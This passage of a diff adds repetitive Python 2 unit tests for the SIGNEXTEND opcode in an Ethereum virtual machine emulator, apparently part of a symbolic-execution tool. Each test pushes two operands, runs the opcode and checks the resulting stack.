+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_SIGNEXTEND_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_SIGNEXTEND_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_SIGNEXTEND_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_SIGNEXTEND_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_SIGNEXTEND_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_SIGNEXTEND_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_SIGNEXTEND_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_SIGNEXTEND_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_SIGNEXTEND_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_SIGNEXTEND_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_SIGNEXTEND_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_SIGNEXTEND_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_SIGNEXTEND_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_SIGNEXTEND_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_SIGNEXTEND_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_SIGNEXTEND_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_SIGNEXTEND_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_SIGNEXTEND_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_SIGNEXTEND_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_SIGNEXTEND_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_SIGNEXTEND_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_SIGNEXTEND_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_SIGNEXTEND_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_SIGNEXTEND_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_SIGNEXTEND_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_SIGNEXTEND_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_SIGNEXTEND_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_SIGNEXTEND_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_SIGNEXTEND_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_SIGNEXTEND_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_SIGNEXTEND_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SIGNEXTEND_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [4352L])
+
+    def test_SIGNEXTEND_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
